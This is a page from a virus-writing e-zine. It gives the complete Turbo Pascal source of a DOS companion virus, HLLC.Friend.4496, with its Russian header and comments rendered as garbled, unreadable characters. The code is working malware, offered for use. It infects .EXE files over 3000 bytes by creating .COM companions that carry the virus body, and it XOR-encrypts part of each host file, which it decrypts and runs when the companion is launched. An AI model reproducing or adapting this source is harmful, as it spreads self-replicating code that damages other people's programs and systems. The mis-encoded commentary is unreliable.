- [Duke's Virus Labs #4] - [Page 03] -

HLLC.Friend.4496
(c) by Duke/SMF


     : HLLC.Friend.4496 aka Friend-4
         : Duke/SMF
 ண.   : Turbo Pascal 7.0
 ᮧ : 16.12.98

  । ਠ HLLC- Friend.   ࠧ   뢠
  ,   ﭭ.    ᮪  :)
।⠢ -     䠩    ࠥ
.  -  ஢ ! ஢ ਬ⨢ (ઠ),
  㥬 ᪠   䠩  䠩 (ࠢ, 㫠
 ᥪ⭠ ;))

===== Cut here =====
{$M 10000, 3000, 10000}
{$I-,S-}
uses dos;
const virsize=4496;                         { }
      e='.EXE';                       {७ (⥫쭮 묨)}
var  ds:dirstr;
     ns:namestr;
     es:extstr;
     g:file;
     mas:array[1..virsize] of char;         {⥫ }
     st:string;
     par:string;                            {ࠬ  ப}
     i:integer;
     ch:byte;
{----------------------------------------------------------------------------}
procedure Crypt(n:string);                  {஢ }
const CS=2000;
var c:file;                                 {㥬 䠩}
    attr:word;                              {ਡ 䠩}
    t:array[1..CS] of byte;                 {㥬 ᨢ}
begin
assign(c,n);
getfattr(c,attr);                           {࠭塞 ਡ}
setfattr(c,$20);
reset(c,1);

seek(c,200);                                {ਪ뢠 ந᪨ ᨫ}
blockread(c,ch,1);                          {  ᫥ 砫쭮 }
for i:=1 to 10 do                           { 樨 ஢ }
  begin
  seek(c,ch+1);
  blockread(c,ch,1);
  end;
seek(c,ch+300);

blockread(c,t,CS);                          {⠥ ᮪  ।}
for i:=1 to CS do t[i]:=t[i] xor 99;        {㥬  ᮪}
seek(c,ch+300);
blockwrite(c,t,CS);                         {뢠 ᮪}
close(c);
setfattr(c,attr);                           {頥 ਡ}

end;
{----------------------------------------------------------------------------}
procedure Zar(n:string);                    {楤 ࠦ}
begin
fsplit(n,ds,ns,es);
st:=ds+ns+'.COM';
assign(g,st);{$I-}reset(g,1);{$I+}          {஢塞,   㦥 䠩}
                                            { ७ COM}
if ioresult<>0 then                         {᫨  =>   ࠦ...}
  begin
  rewrite(g,1);                             {... ᮧ 쮭}
  blockwrite(g,mas,virsize);                {... 襬 }
  Crypt(n);                                 {㥬 }
  end;
close(g);
end;
{-----------------------------------------------------------------------------}
procedure Find;                             { ⥭樠 }
var s:searchrec;
    f:file;
begin
{filemode:=0;}
assign(f,paramstr(0));
reset(f,1);
blockread(f,mas,virsize);                   {뢠   }
close(f);
findfirst('*'+e,$21,s);                     {饬 ...}
while doserror=0 do
  begin                                     {᫨  䠩  3000,}
  if s.size>3000 then zar(s.name);          {  뢠 ࠦ}
  findnext(s);                              {᭮ 饬...}
  end;
end;
{-----------------------------------------------------------------------------}
begin
asm
  jmp @1
  db  '[Friend-4, Duke/SMF]'
  @1:
end;
fsplit(paramstr(0),ds,ns,es);
if es=e then Find          {᫨   exe-䠩, 室  ࠦ}
else
  begin
  st:=ds+ns+e;
  assign(g,st);{$I-}reset(g);{$I+}
  if ioresult<>0 then Find {᫨   ࠦ 䠩, ࠦ }
  else
    begin
    close(g);
    par:='';
    for i:=1 to paramcount do
      par:=par+' '+paramstr(i);
    Crypt(st);                              {஢뢠 }
    exec(st,par);                           {᪠ }
    Crypt(st);                              {஢뢠 ⭮ :)}
    end
  end
end.
===== Cut here =====

